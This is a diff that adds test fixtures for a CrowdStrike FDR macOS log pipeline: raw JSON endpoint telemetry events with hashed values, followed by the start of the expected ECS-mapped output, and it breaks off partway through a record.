+{"OutOctets":"3000000600","CreationTimeStamp":"-11724671741.249","aip":"81.2.69.192","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"445","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","EventOrigin":"1","id":"f0d3d878ef1a02ab86680075a0eda18b56e9","PhysicalAddressLength":"6","InUcastPkts":"80890102","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"2","timestamp":"1743508799999","LocalAddressIP4":"81.2.69.142","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"55043379","PhysicalAddress":"b9-55-b4-6e-3e-c8","PrefixLength":"52","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"46360000","InMulticastPkts":"36300760","ConfigBuild":"2c8b.4.b224e8a.4f","InOctets":"5401980300","NetLuidIndex":"0","Entitlements":"76","name":"1b1a40a16643c4d9d9ad13","aid":"3bec845649acaaa1eb41d1ad4a804a38","cid":"4092825518eaf67377a6e4492ae44577"} +{"LocalAddressIP4":"216.160.83.56","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"65043379","aip":"81.2.69.142","InterfaceIndex":"8","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"86","name":"4a33a844314cf727f26cb81df45b9","EventOrigin":"1","id":"a885c0aff4e59afa62b4cfc45dd233f79546","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"3","aid":"3bec845649acaaa1eb41d1ad4a804a38","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextBaseFileName":"9a93b1357a69e905c9a","FileCategory":"6","MachOSubType":"6","Size":"3000605","ContextThreadId":"0","aip":"89.160.20.112","BoundingLimitCount":"10","FileIdentifier":"a66e33e0aa512356892598753df4b16fa84b3ed00e65ead9","event_platform":"Mac","EventOrigin":"1","id":"1a8f053397e4f0d36a740347ced0ee4eaad4","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"MachOFileWritten","ContextTimeStamp":"1749108669.141","UserName":"4813","ConfigStateHash":"25043379","ContextProcessId":"704802000705084000","SHA256HashData":"2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63","ConfigBuild":"2c8b.4.b224e8a.4f","IsOnRemovableDisk":"0","BoundingLimitDuration":"4486640","Entitlements":"26","name":"1148999d786555f3e786e","aid":"9ea510e4d87c4988253c7355515a7081","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/dc20b3d/7ef6ff25/baab5e05/baab5e05.app/437aea62/cafd6b72/22ded4e2.framework/f89ea270/5/22ded4e2"} +{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"75043379","Timeout":"284","ParentProcessId":"0","aip":"81.2.69.142","SuppressType":"2","SHA256HashData":"b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d","ProcessCount":"5","BoundedCount":"4","ConfigBuild":"2c8b.4.b224e8a.4f","UID":"60","event_platform":"Mac","CommandLine":"fc5353cb4801d9a102fce841618abe6fa84be2defb6649a078f21f228667ad8f -9 a0b52d20 -0 a5f99916883744114 -c 9c11c52b372e36e77b8fd37dd","Entitlements":"16","name":"53731de338efc268aed79822","EventOrigin":"45","id":"9b9091551ef260bfbe2fcbaa991fd216578d","EffectiveTransmissionClass":"2","aid":"aff97f8b915352339afe79c5a16d76b3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"PtyCreated","ContextTimeStamp":"1748620809.371","ConfigStateHash":"85043379","ContextProcessId":"601020521600005482","DeviceId":"506006027","ContextThreadId":"0","aip":"89.160.20.112","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","CommandLine":"8fb203f170d167a8910bfee40bd5f67ab18c470b385a64208bb 7521ca220a8ae6027c0205ba2b01c82c ce793a a8f34ba10921c4 6b9396fe89508a308632dca4bb879ce31fc550496 48c7277892b8 0f5f4216848e1e3804905fdfdc7 916ab4f4edd7894df1edbf2c7a4608e50e5ee6b085e9dc406 b42ddbaecab521 dc2356cbcb5b9c79939eead1793ef5f85b215c311422f f68dd32e713737d9 44ac9316adc24687dbacafca20b954bcf3d33dcd4de a59c027bb0a7c05d76750e3de7f569a7758ace084 04ee11a4fa1078efa8abad229976f29bcd52d351f9 4b01829a2b8c908ab96d79a2b0e1d5acb806551 90ddec41d0051638b5073f6601dcaded1500ac90f4da0ad a59c73da5938ef c1d0c94a2886b6504e539132eced46a5866b1ea8b6372b50a86fcc984a7242a5 96b1d3ac35ab026db9ccc4c8614598a00e449f47c6eb2c49bfcc1e618eacc36e f965c005547d78aa493d5422ecf3b73e4a5cf0958292f6be67dd8a515adf2e97 315ef7be6a1848b2682301660","ImageFileName":"/98e33b0f/2c014f.app/437aea62/cafd6b72/7a4c386a.app/437aea62/ba3cb/7a4c386a","Entitlements":"96","name":"a3f9634e8f5cb2a","EventOrigin":"1","id":"1653ccad055c131c79fb49ce013cfa05fde1","EffectiveTransmissionClass":"2","aid":"0883f49bee1d86ce81176e6d89766adc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"LocalAddressIP4":"81.2.69.144","event_simpleName":"RawBindIP4","ContextTimeStamp":"1759703286.546","ConfigStateHash":"55043379","ConnectionFlags":"0","ContextProcessId":"148005106018043800","RemotePort":"260","aip":"2a02:cf40::2","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","LocalPort":"260","Entitlements":"86","name":"2552bb1c58ae3899","EventOrigin":"1","id":"c842b689fbd78207d195d8c17e3a04a000f6","Protocol":"45","EffectiveTransmissionClass":"3","aid":"6de60f31dcfac7d0eac699802285aa4c","RemoteAddressIP4":"89.160.20.128","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1760875204.560","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::1","ConfigStateHash":"75043379","ConnectionFlags":"0","ContextProcessId":"525000013203000905","RemotePort":"60285","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","LocalPort":"28","Entitlements":"26","name":"6be29847ad234f89","EventOrigin":"1","id":"2d87ac61a22522847bc2143b50b4aac12858","Protocol":"45","EffectiveTransmissionClass":"3","aid":"bfae1ce346c864e642355116756472d6","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"ScriptControlScanInfo","ScriptContent":"77bafa9 -0 ae17b9a73 3d0cf8 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c 4 ae17b9a73 0cf6 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c","ConfigStateHash":"600000970","OriginalContentLength":"100","ContextProcessId":"516365064008244070","aip":"89.160.20.128","ContentSHA256HashData":"9d168f68bad9f1ef8371bab7c5d543e2fa0939b3dadb5aa7dd9b0ea8995a29f7","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","ScriptContentName":"/51a/89","Entitlements":"56","name":"0a1beccbcea40ac2468a3ee78b","EventOrigin":"1","id":"18d9d6cd7e98ee9ab79dffed0e5f9e3357b0","EffectiveTransmissionClass":"2","aid":"c7fe43754f5b6ebfa566ef25e9ac6ecc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextBaseFileName":"d66187f4b1779e","event_simpleName":"TarFileWritten","ContextTimeStamp":"1753030307.865","UserName":"2e31bb4e4604be73a","FileCategory":"1","ConfigStateHash":"35043379","ContextProcessId":"140060400067209000","Size":"534039","ContextThreadId":"0","aip":"2a02:cf40::2","FileIdentifier":"3b7b608416a719d90a344bdba01d8228aafc7c819070c9b1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"36","name":"e7ebdc66589c6ae4b87","EventOrigin":"1","id":"f6d443ab644ffa64617a90936d6da555f0a2","EffectiveTransmissionClass":"2","aid":"3e32d11b9db211e438bf9141dbc31d85","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/63b8533/88/a4b8bdf4/e/c72029b7.amsengagementd/65f98121/54b13478/097fc6a5"} +{"ContextBaseFileName":"6f79cfc3feaa775","event_simpleName":"XarFileWritten","ContextTimeStamp":"1757404834.724","UserName":"f27ee237062cfd9","FileCategory":"1","ConfigStateHash":"95043379","ContextProcessId":"403000009094400601","Size":"1000870","ContextThreadId":"0","aip":"81.2.69.144","FileIdentifier":"0719dbad2bd8784ce381fc2907136d67a3ed4d99147af3a1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"36","name":"708df495f98345bf516","EventOrigin":"1","id":"2633213df12f91013279bef1b12ce10d2c67","EffectiveTransmissionClass":"2","aid":"b1e14abeaf9680c3f0b9be1f18550235","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/63b8533/4a/c2c108fe/e/5ac3b070/5ef9b1be.pkg"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log-expected.json new file mode 100644 index 0000000000..b4847a3eb2 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log-expected.json @@ -0,0 +1,1764 @@ +{ + "expected": [ + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "25043379", + "ContextBaseFileName": "09e61", + "ContextProcessId": "128660005005330005", + "ContextTimeStamp": "2025-09-06T21:44:33.478Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "66", + "EventOrigin": "1", + "FileCategory": "1", + "IsOnRemovableDisk": "0", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "902e0c3461e5e975df4227b1ce8919630d6d", + "name": "f1facdb9387bd66ffd9ef" + }, + "device": { + "id": "b616fca617fa5819625542d9505100de" + }, + "event": { + "action": "BZip2FileWritten", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "902e0c3461e5e975df4227b1ce8919630d6d|b616fca617fa5819625542d9505100de|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ContextBaseFileName\":\"09e61\",\"event_simpleName\":\"BZip2FileWritten\",\"ContextTimeStamp\":\"1757195073.478\",\"UserName\":\"4813\",\"FileCategory\":\"1\",\"ConfigStateHash\":\"25043379\",\"ContextProcessId\":\"128660005005330005\",\"Size\":\"164\",\"ContextThreadId\":\"0\",\"aip\":\"216.160.83.56\",\"FileIdentifier\":\"ba8c123c8c5fa659eb0d3736f6d9fb000fa82e957828517a\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"66\",\"name\":\"f1facdb9387bd66ffd9ef\",\"EventOrigin\":\"1\",\"id\":\"902e0c3461e5e975df4227b1ce8919630d6d\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"b616fca617fa5819625542d9505100de\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/715dc84/c86/836/3be7855d.bz2\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "/715dc84/c86/836", + "extension": "bz2", + "inode": "ba8c123c8c5fa659eb0d3736f6d9fb000fa82e957828517a", + "name": "3be7855d.bz2", + "path": "/715dc84/c86/836/3be7855d.bz2", + "size": 164, + "type": "file" + }, + "host": { + "id": "b616fca617fa5819625542d9505100de", + "os": { + "type": "macos" + } + }, + "message": "BZip2FileWritten", + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "b616fca617fa5819625542d9505100de", + "version": "2c8b.4.b224e8a.4f" + }, + "process": { + "entity_id": "128660005005330005", + "name": "09e61", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "25043379" + ], + "ip": [ + "216.160.83.56" + ], + "user": [ + "4813" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "4813" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "859328400", + "ContextProcessId": "807031761070052000", + "ContextTimeStamp": "2025-05-26T23:37:50.919Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "86", + "EventOrigin": "1", + "USN": "150410415", + "UnixMode": "905", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "46dbd0c61a79bcf29fba222797ace5754589", + "name": "0e25074caaed0b54119466642" + }, + "device": { + "id": "38d08ba2d7184565619459d87ca92c8a" + }, + "event": { + "action": "CriticalFileModified", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "46dbd0c61a79bcf29fba222797ace5754589|38d08ba2d7184565619459d87ca92c8a|4092825518eaf67377a6e4492ae44577", + "kind": "alert", + "original": "{\"event_simpleName\":\"CriticalFileModified\",\"ContextTimeStamp\":\"1748302670.919\",\"GID\":\"0\",\"ConfigStateHash\":\"859328400\",\"ContextProcessId\":\"807031761070052000\",\"ContextThreadId\":\"0\",\"aip\":\"2a02:cf40::1\",\"FileIdentifier\":\"fae5cbfea2793fc85256961268a0b84d939ea1a5cff7ca21\",\"ConfigBuild\":\"2c8b.4.daf5d9d.4f\",\"UID\":\"0\",\"USN\":\"150410415\",\"event_platform\":\"Mac\",\"UnixMode\":\"905\",\"Entitlements\":\"86\",\"name\":\"0e25074caaed0b54119466642\",\"EventOrigin\":\"1\",\"id\":\"46dbd0c61a79bcf29fba222797ace5754589\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"38d08ba2d7184565619459d87ca92c8a\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/715dc84/812/4f8a2\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "file": { + "directory": "/715dc84/812", + "inode": "fae5cbfea2793fc85256961268a0b84d939ea1a5cff7ca21", + "name": "4f8a2", + "path": "/715dc84/812/4f8a2", + "type": "file" + }, + "host": { + "id": "38d08ba2d7184565619459d87ca92c8a", + "os": { + "type": "macos" + } + }, + "message": "CriticalFileModified", + "observer": { + "address": [ + "2a02:cf40::1" + ], + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": [ + "2a02:cf40::1" + ], + "serial_number": "38d08ba2d7184565619459d87ca92c8a", + "version": "2c8b.4.daf5d9d.4f" + }, + "process": { + "entity_id": "807031761070052000", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "859328400" + ], + "ip": [ + "2a02:cf40::1" + ], + "user": [ + "0" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "group": { + "id": "0" + }, + "id": "0" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "65043379", + "ContextProcessId": "309000003380007780", + "ContextTimeStamp": "2025-09-13T16:35:42.026Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "26", + "EventOrigin": "3", + "TreeId": "586900090030000484", + "UnixMode": "105", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "2e5060ef833ae51492bb2f2feaa9f0a52725", + "name": "b556b2f8c2fcc9d247c" + }, + "device": { + "id": "f8e97b22125b280e944b0a3e95273005" + }, + "event": { + "action": "FileCreateInfo", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "2e5060ef833ae51492bb2f2feaa9f0a52725|f8e97b22125b280e944b0a3e95273005|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"FileCreateInfo\",\"ContextTimeStamp\":\"1757781342.026\",\"GID\":\"45\",\"ConfigStateHash\":\"65043379\",\"ContextProcessId\":\"309000003380007780\",\"ContextThreadId\":\"0\",\"aip\":\"2a02:cf40::1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"UID\":\"213\",\"event_platform\":\"Mac\",\"TreeId\":\"586900090030000484\",\"UnixMode\":\"105\",\"Entitlements\":\"26\",\"name\":\"b556b2f8c2fcc9d247c\",\"EventOrigin\":\"3\",\"id\":\"2e5060ef833ae51492bb2f2feaa9f0a52725\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"f8e97b22125b280e944b0a3e95273005\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/6b0cc/48a957ec/dc20b3d/33f3ee0e/3cc3653a.Office/487f7052/331ced6b.reg-journal\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "/6b0cc/48a957ec/dc20b3d/33f3ee0e/3cc3653a.Office/487f7052", + "extension": "reg-journal", + "name": "331ced6b.reg-journal", + "path": "/6b0cc/48a957ec/dc20b3d/33f3ee0e/3cc3653a.Office/487f7052/331ced6b.reg-journal", + "type": "file" + }, + "host": { + "id": "f8e97b22125b280e944b0a3e95273005", + "os": { + "type": "macos" + } + }, + "message": "FileCreateInfo", + "observer": { + "address": [ + "2a02:cf40::1" + ], + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": [ + "2a02:cf40::1" + ], + "serial_number": "f8e97b22125b280e944b0a3e95273005", + "version": "2c8b.4.b224e8a.4f" + }, + "process": { + "entity_id": "309000003380007780", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "65043379" + ], + "ip": [ + "2a02:cf40::1" + ], + "user": [ + "213" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "group": { + "id": "45" + }, + "id": "213" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "600000970", + "ContextProcessId": "700001226457050500", + "ContextTimeStamp": "2025-11-11T16:15:09.496Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "16", + "EventOrigin": "45", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "da89f6e8e51680edc853caf65110cd0b6997", + "name": "d6b45f4ee5e3f0dc22415" + }, + "device": { + "id": "688342f2ec2adb5c7a9da5d3fec0cf70" + }, + "event": { + "action": "FirewallDisabled", + "category": [ + "configuration", + "host" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "da89f6e8e51680edc853caf65110cd0b6997|688342f2ec2adb5c7a9da5d3fec0cf70|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"FirewallDisabled\",\"ContextTimeStamp\":\"1762877709.496\",\"ConfigStateHash\":\"600000970\",\"ContextProcessId\":\"700001226457050500\",\"aip\":\"2a02:cf40::1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"Entitlements\":\"16\",\"name\":\"d6b45f4ee5e3f0dc22415\",\"EventOrigin\":\"45\",\"id\":\"da89f6e8e51680edc853caf65110cd0b6997\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"688342f2ec2adb5c7a9da5d3fec0cf70\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "688342f2ec2adb5c7a9da5d3fec0cf70", + "os": { + "type": "macos" + } + }, + "message": "FirewallDisabled", + "observer": { + "address": [ + "2a02:cf40::1" + ], + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": [ + "2a02:cf40::1" + ], + "serial_number": "688342f2ec2adb5c7a9da5d3fec0cf70", + "version": "2c8b.4.b224e8a.4f" + }, + "process": { + "entity_id": "700001226457050500" + }, + "related": { + "hash": [ + "600000970" + ], + "ip": [ + "2a02:cf40::1" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "859328400", + "ContextProcessId": "900268078000780315", + "ContextTimeStamp": "2025-05-11T11:25:53.829Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "46", + "EventOrigin": "45", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "b6c44348e6ee1e39992118be1c7150fa6a2e", + "name": "07198adb48f191c84a38" + }, + "device": { + "id": "38d08ba2d7184565619459d87ca92c8a" + }, + "event": { + "action": "FirewallEnabled", + "category": [ + "configuration", + "host" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "b6c44348e6ee1e39992118be1c7150fa6a2e|38d08ba2d7184565619459d87ca92c8a|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"FirewallEnabled\",\"ContextTimeStamp\":\"1746962753.829\",\"ConfigStateHash\":\"859328400\",\"ContextProcessId\":\"900268078000780315\",\"aip\":\"81.2.69.144\",\"ConfigBuild\":\"2c8b.4.daf5d9d.4f\",\"event_platform\":\"Mac\",\"Entitlements\":\"46\",\"name\":\"07198adb48f191c84a38\",\"EventOrigin\":\"45\",\"id\":\"b6c44348e6ee1e39992118be1c7150fa6a2e\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"38d08ba2d7184565619459d87ca92c8a\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "38d08ba2d7184565619459d87ca92c8a", + "os": { + "type": "macos" + } + }, + "message": "FirewallEnabled", + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "38d08ba2d7184565619459d87ca92c8a", + "version": "2c8b.4.daf5d9d.4f" + }, + "process": { + "entity_id": "900268078000780315" + }, + "related": { + "hash": [ + "859328400" + ], + "ip": [ + "81.2.69.144" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "95043379", + "ContextProcessId": "160345220009000222", + "ContextTimeStamp": "2025-05-12T22:49:06.428Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "66", + "EventOrigin": "45", + "FirewallAction": "1", + "InterfaceAlias": "445", + "IsUnique": "1", + "LocalAddressIP4": [ + "216.160.83.56" + ], + "LocalAddressMaskIP4": "5452380700", + "NegateInterface": "0", + "NegateLocalAddress": "0", + "NegateRemoteAddress": "0", + "RemoteAddressMaskIP4": "7807212067", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "806ac88ec376c30a3ad5d58a509223d6a681", + "name": "dc265f862d44e408c3e76cd" + }, + "destination": { + "address": "216.160.83.56", + "as": { + "number": 209 + }, + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": "216.160.83.56" + }, + "device": { + "id": "e49032362e42da0f07152b78718c7674" + }, + "event": { + "action": "FirewallSetRuleIP4", + "category": [ + "configuration" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "806ac88ec376c30a3ad5d58a509223d6a681|e49032362e42da0f07152b78718c7674|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"FirewallAction\":\"1\",\"aip\":\"216.160.83.56\",\"NegateLocalAddress\":\"0\",\"InterfaceAlias\":\"445\",\"RemoteAddressMaskIP4\":\"7807212067\",\"event_platform\":\"Mac\",\"NegateInterface\":\"0\",\"IsUnique\":\"1\",\"EventOrigin\":\"45\",\"LocalAddressMaskIP4\":\"5452380700\",\"id\":\"806ac88ec376c30a3ad5d58a509223d6a681\",\"Protocol\":\"0\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"LocalAddressIP4\":\"216.160.83.56\",\"event_simpleName\":\"FirewallSetRuleIP4\",\"ContextTimeStamp\":\"1747090146.428\",\"ConfigStateHash\":\"95043379\",\"ContextProcessId\":\"160345220009000222\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"Entitlements\":\"66\",\"name\":\"dc265f862d44e408c3e76cd\",\"aid\":\"e49032362e42da0f07152b78718c7674\",\"NegateRemoteAddress\":\"0\",\"RemoteAddressIP4\":\"81.2.69.144\",\"ConnectionDirection\":\"1\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "e49032362e42da0f07152b78718c7674", + "os": { + "type": "macos" + } + }, + "message": "FirewallSetRuleIP4", + "network": { + "community_id": "1:wvN/qwh5jrHmOHw4wJqiL5Fwle8=", + "direction": "inbound", + "iana_number": "0", + "transport": "hopopt" + }, + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "e49032362e42da0f07152b78718c7674", + "version": "2c8b.4.b224e8a.4f" + }, + "process": { + "entity_id": "160345220009000222" + }, + "related": { + "hash": [ + "95043379" + ], + "ip": [ + "216.160.83.56", + "81.2.69.144" + ] + }, + "source": { + "address": "81.2.69.144", + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.144" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "15043379", + "ContextProcessId": "160345220009000222", + "ContextTimeStamp": "2025-06-13T07:50:51.624Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "76", + "EventOrigin": "45", + "FirewallAction": "1", + "IcmpCode": "1", + "IcmpType": "990", + "InterfaceAlias": "3d0df", + "IsUnique": "1", + "LocalAddressIP6": [ + "2a02:cf40::1" + ], + "LocalAddressMaskIP6": "0e83fa75cca53fdf", + "NegateInterface": "0", + "NegateLocalAddress": "0", + "NegateRemoteAddress": "0", + "RemoteAddressMaskIP6": "374708fff7719dd5", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "642c09f791082b5d83a09c110880c78938cf", + "name": "e1d442f5c46bbf234569aea" + }, + "destination": { + "address": "2a02:cf40::1", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40::1" + }, + "device": { + "id": "e49032362e42da0f07152b78718c7674" + }, + "event": { + "action": "FirewallSetRuleIP6", + "category": [ + "configuration" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "642c09f791082b5d83a09c110880c78938cf|e49032362e42da0f07152b78718c7674|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"RemoteAddressIP6\":\"2a02:cf40::1\",\"FirewallAction\":\"1\",\"aip\":\"216.160.83.56\",\"NegateLocalAddress\":\"0\",\"InterfaceAlias\":\"3d0df\",\"event_platform\":\"Mac\",\"NegateInterface\":\"0\",\"IsUnique\":\"1\",\"RemoteAddressMaskIP6\":\"374708fff7719dd5\",\"LocalAddressMaskIP6\":\"0e83fa75cca53fdf\",\"EventOrigin\":\"45\",\"id\":\"642c09f791082b5d83a09c110880c78938cf\",\"Protocol\":\"62\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"FirewallSetRuleIP6\",\"LocalAddressIP6\":\"2a02:cf40::1\",\"ContextTimeStamp\":\"1749801051.624\",\"IcmpCode\":\"1\",\"ConfigStateHash\":\"15043379\",\"ContextProcessId\":\"160345220009000222\",\"IcmpType\":\"990\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"Entitlements\":\"76\",\"name\":\"e1d442f5c46bbf234569aea\",\"aid\":\"e49032362e42da0f07152b78718c7674\",\"NegateRemoteAddress\":\"0\",\"ConnectionDirection\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "e49032362e42da0f07152b78718c7674", + "os": { + "type": "macos" + } + }, + "message": "FirewallSetRuleIP6", + "network": { + "community_id": "1:/PXwsbY7C0EByZrDGqpoxSqF9J8=", + "direction": "outbound", + "iana_number": "62" + }, + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "e49032362e42da0f07152b78718c7674", + "version": "2c8b.4.b224e8a.4f" + }, + "process": { + "entity_id": "160345220009000222" + 